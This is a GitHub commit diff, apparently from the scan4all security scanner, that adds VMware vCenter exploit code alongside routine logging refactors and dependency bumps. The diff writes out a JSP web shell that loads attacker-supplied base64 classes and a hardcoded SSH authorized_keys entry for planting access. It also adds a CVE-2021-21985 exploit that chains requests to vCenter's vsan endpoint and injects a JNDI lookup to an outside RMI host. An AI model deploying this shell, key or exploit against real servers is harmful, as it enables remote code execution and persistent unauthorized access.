Skip to content

Commit 7b4a398

Browse files
hktalenthktalent
committed
add vCenter/CVE_2021_21985.go
vCenter/c_21972.go vCenter/c_21985.go vCenter/c_22005.go 2022-10-06
1 parent 0385255 commit 7b4a398

File tree

15 files changed

+657
-16
lines changed

15 files changed

+657
-16
lines changed

‎engine/dispather.go

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@ import (
1212
)
1313

1414
// passive 被动模式
15+
// https://github.com/projectdiscovery/tlsx
1516
var (
1617
CaseScanFunc = map[int]util.EngineFuncType{
1718
ScanType_SSLInfo: nil, // 01- SSL信息分析，并对域名信息进行收集、进入下一步流程

‎go.mod

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -101,7 +101,7 @@ require (
101101
github.com/google/go-github v17.0.0+incompatible
102102
github.com/gorilla/websocket v1.5.0
103103
github.com/gosnmp/gosnmp v1.35.0
104-
github.com/hktalent/PipelineHttp v0.0.0-20221005112256-2ebdd38b820b
104+
github.com/hktalent/PipelineHttp v0.0.0-20221005170636-4c4c7c3108ea
105105
github.com/hktalent/goSqlite_gorm v1.1.1
106106
github.com/hktalent/jarm-go v0.0.0-20220918133110-7801447b6267
107107
github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358

‎go.sum

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -514,6 +514,10 @@ github.com/hktalent/PipelineHttp v0.0.0-20221004080931-279351b9fb96 h1:8++Z/n334
514514
github.com/hktalent/PipelineHttp v0.0.0-20221004080931-279351b9fb96/go.mod h1:ob6ATP4M9FiqTRzyALSDox3kc6+xnTgzKuIT+rmKyeE=
515515
github.com/hktalent/PipelineHttp v0.0.0-20221005112256-2ebdd38b820b h1:S+mVjk0jfAnzT5ypZ65iQq4jjvStt0ggkfnhHoidliY=
516516
github.com/hktalent/PipelineHttp v0.0.0-20221005112256-2ebdd38b820b/go.mod h1:ncw1+ugTc5GPQLUHHI7uWrgW2KWBppDBWwwjC984QJg=
517+
github.com/hktalent/PipelineHttp v0.0.0-20221005141854-655e41c6acad h1:NFVuThP+NaYXkd8fRXd3DNt02ZiTr2OdBDIF/M1ZmWE=
518+
github.com/hktalent/PipelineHttp v0.0.0-20221005141854-655e41c6acad/go.mod h1:ncw1+ugTc5GPQLUHHI7uWrgW2KWBppDBWwwjC984QJg=
519+
github.com/hktalent/PipelineHttp v0.0.0-20221005170636-4c4c7c3108ea h1:riOxhSWDEbwbNFgCxBUkOsTYhZte/I+6Khf9Pab7uxU=
520+
github.com/hktalent/PipelineHttp v0.0.0-20221005170636-4c4c7c3108ea/go.mod h1:ncw1+ugTc5GPQLUHHI7uWrgW2KWBppDBWwwjC984QJg=
517521
github.com/hktalent/go-utils v0.0.0-20221004021941-7e10e0fb13ea h1:vuxZbB9vAwBi0Uj4F5GOfVtsi5E9MFX07EkCKypVu9M=
518522
github.com/hktalent/go-utils v0.0.0-20221004021941-7e10e0fb13ea/go.mod h1:9E0C0K+/zzyJ+VqFx1llC3y7+mGgW3toLoyMQnlNXhw=
519523
github.com/hktalent/go-utils v0.0.0-20221004095234-2e23f13b429d h1:z1IUP4hqn0LGgs78bU2gSlna92/p+RlB0MSZ+RxSmCo=

‎lib/util/strTools.go

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
package util
2+
3+
import (
4+
"encoding/base64"
5+
"math/rand"
6+
"net/url"
7+
"strings"
8+
"time"
9+
)
10+
11+
var (
12+
WebShellName = "x3.jsp"
13+
X3Webshell = `<%@page import="javax.xml.bind.*,java.lang.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte[] b){return super.defineClass(b, 0, b.length);}}%><% String c = (String)request.getParameter("c");if(null==c&&null!=session)c=(String)session.getAttribute("c");if (null == c && null != application.getAttribute("_c_"))c=(String)application.getAttribute("_c_");if (null != c)try {application.setAttribute("_c_",c);new U(this.getClass().getClassLoader()).g(DatatypeConverter.parseBase64Binary(c)).newInstance().equals(pageContext);} catch (Exception e) {}%>`
14+
Authorized_keys = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCsK7OsENqLwuH6pTrCBiNWNI0ByZZURaV+TS6l2P6cxWZpRAgVruyDk+XQ5pY9xJHTZfF75IT+ekWXA5hBe2eO8j+fAQuKaHgvlV8fTp48wMS0LRilfrslOsyv8DsrDs2ZSaiaraj7BwEBalaumczqBM0UoelCa7OvWJDqfyYK8ihQBYBXui/jvyb3FdRA9muOLFuo+AmhIyL3UMQ1jhUxrpmhAKxs6oUjMFXBj//TpvYL7AZXz+2MfmApHYSBx7vs+NodAOf9WShSPoHkuzz3riIsN3hBx66gGRGOPL00lvPsu/GS31klFKaGm3qFcHvO3uczRsaUGj89d/jUwBNh root@linuxkit-025000000001`
15+
)
16+
17+
func To_b64(file_byte []byte) string {
18+
return base64.StdEncoding.EncodeToString(file_byte)
19+
}
20+
21+
func GetUrlHost(szUrl string) string {
22+
if oU, err := url.Parse(szUrl); nil == err {
23+
szUrl = oU.Scheme + "://" + oU.Host
24+
}
25+
return szUrl
26+
}
27+
28+
// 生成随机id
29+
func GeneratorId(add_time int64) string {
30+
var list_str = []string{}
31+
size := 6
32+
chars := "abcdefghijklmnopqrstuvwxyz"
33+
dights := "0123456789"
34+
strs := chars + dights
35+
zz := time.Now().Unix() + add_time
36+
rand.Seed(zz)
37+
38+
a := int64(len(strs))
39+
for i := 0; i < size; i++ {
40+
flag := rand.Int63n(a)
41+
_ = flag
42+
list_str = append(list_str, string(strs[int(flag)]))
43+
}
44+
// res := strings.Join(s, "")
45+
res := strings.Join(list_str, "")
46+
return res
47+
}

‎lib/util/sv2es.go

Lines changed: 6 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,10 @@
11
package util
22

33
import (
4-
"bytes"
54
"crypto/sha1"
65
"encoding/hex"
76
"encoding/json"
87
"fmt"
9-
"github.com/hktalent/PipelineHttp"
108
"io/ioutil"
119
"log"
1210
"net/http"
@@ -77,23 +75,24 @@ func SendAData[T any](k string, data []T, szType ESaveType) {
7775
}
7876
}
7977

80-
var pphLog = PipelineHttp.NewPipelineHttp()
81-
8278
// 发送数据到ES
8379
func SendReq(data1 interface{}, id string, szType ESaveType) {
8480
DoSyncFunc(func() {
8581
if !enableEsSv {
8682
return
8783
}
8884
//log.Println("enableEsSv = ", enableEsSv, " id= ", id, " type = ", szType)
89-
data, _ := json.Marshal(data1)
9085
nThreads <- struct{}{}
9186
defer func() {
9287
<-nThreads
9388
}()
9489
szUrl := fmt.Sprintf(EsUrl, szType, url.QueryEscape(id))
9590
log.Println("logs EsUrl = ", EsUrl)
96-
pphLog.DoGetWithClient4SetHd(nil, szUrl, "POST", bytes.NewReader(data), func(resp *http.Response, err error, szU string) {
91+
m1 := map[string]string{
92+
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15",
93+
"Content-Type": "application/json;charset=UTF-8",
94+
}
95+
SendData2Url(szUrl, data1, &m1, func(resp *http.Response, err error, szU string) {
9796
if nil != err {
9897
log.Println("pphLog.DoGetWithClient4SetHd ", err)
9998
} else {
@@ -104,12 +103,6 @@ func SendReq(data1 interface{}, id string, szType ESaveType) {
104103
Log(err)
105104
}
106105
}
107-
}, func() map[string]string {
108-
m1 := map[string]string{
109-
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15",
110-
"Content-Type": "application/json;charset=UTF-8",
111-
}
112-
return m1
113-
}, true)
106+
})
114107
})
115108
}

‎lib/util/sv2es_test.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ import (
77
func TestSendReq(t *testing.T) {
88
DoInit(nil)
99
t.Run("sv2es", func(t *testing.T) {
10-
SendReq("test", "nmap", Nmap)
10+
SendReq(`{"xx":"sdfsf"}`, "xx01nmap", Nmap)
1111
})
1212
Wg.Wait()
1313
CloseAll()

‎lib/util/util.go

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,7 +2,9 @@ package util
22

33
import (
44
"bufio"
5+
"bytes"
56
"encoding/base64"
7+
"encoding/json"
68
"errors"
79
"fmt"
810
"github.com/codegangsta/inject"
@@ -97,6 +99,7 @@ func GetClient(szUrl string) *PipelineHttp.PipelineHttp {
9799

98100
client = PipelineHttp.NewPipelineHttp()
99101
mUrls[oU.Host] = ""
102+
clientHttpCc.Delete(oU.Host)
100103
clientHttpCc.Set(oU.Host, client, defaultInteractionDuration)
101104
return client
102105
}
@@ -382,3 +385,13 @@ func ScannerToReader(scanner *bufio.Scanner) io.Reader {
382385

383386
return reader
384387
}
388+
389+
// 纯粹发送数据到目标机器
390+
func SendData2Url(szUrl string, data1 interface{}, m1 *map[string]string, fnCbk func(resp *http.Response, err error, szU string)) {
391+
data, _ := json.Marshal(data1)
392+
log.Println("logs EsUrl = ", EsUrl)
393+
c1 := GetClient(szUrl)
394+
c1.DoGetWithClient4SetHd(c1.Client, szUrl, "POST", bytes.NewReader(data), fnCbk, func() map[string]string {
395+
return *m1
396+
}, true)
397+
}

‎pocs_go/VMware/vCenter/CVE_2021_21985.go

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
package vCenter
2+
3+
import (
4+
"fmt"
5+
"github.com/hktalent/scan4all/lib/util"
6+
"io"
7+
"net/http"
8+
"net/url"
9+
)
10+
11+
/*
12+
https://github.com/welk1n/JNDI-Injection-Bypass/
13+
*/
14+
func Check_CVE_2021_21985(szUrl string) bool {
15+
szPayload := "rmi://attip:1097/ExecByEL"
16+
aP := []string{
17+
`{"methodInput":[null]}`,
18+
`{"methodInput":["javax.naming.InitialContext.doLookup"]}`,
19+
`{"methodInput":["doLookup"]}`,
20+
fmt.Sprintf(`methodInput":[["%s"]]}`, szPayload),
21+
`{"methodInput":[]}`,
22+
`{"methodInput":[]}`,
23+
}
24+
if oU, err := url.Parse(szUrl); nil == err {
25+
s1 := oU.Scheme + "://" + oU.Hostname() + "/ui/h5-vsan/rest/proxy/service/&vsanQueryUtil_setDataService"
26+
uris := []string{"/setTargetObject", "/setStaticMethod", "/setTargetMethod", "/setArguments", "/prepare", "/invoke"}
27+
headers := map[string]string{"Content-Type": "application/json"}
28+
for i, x := range uris {
29+
util.SendData2Url(s1+x, aP[i], &headers, func(resp *http.Response, err error, szU string) {
30+
if nil != resp {
31+
io.Copy(io.Discard, resp.Body)
32+
}
33+
})
34+
}
35+
// 延时几秒 检测 rmi 回显示，如果目标不能出网，可以尝试打 SSRF
36+
37+
}
38+
return false
39+
}

0 commit comments

Comments
 (0)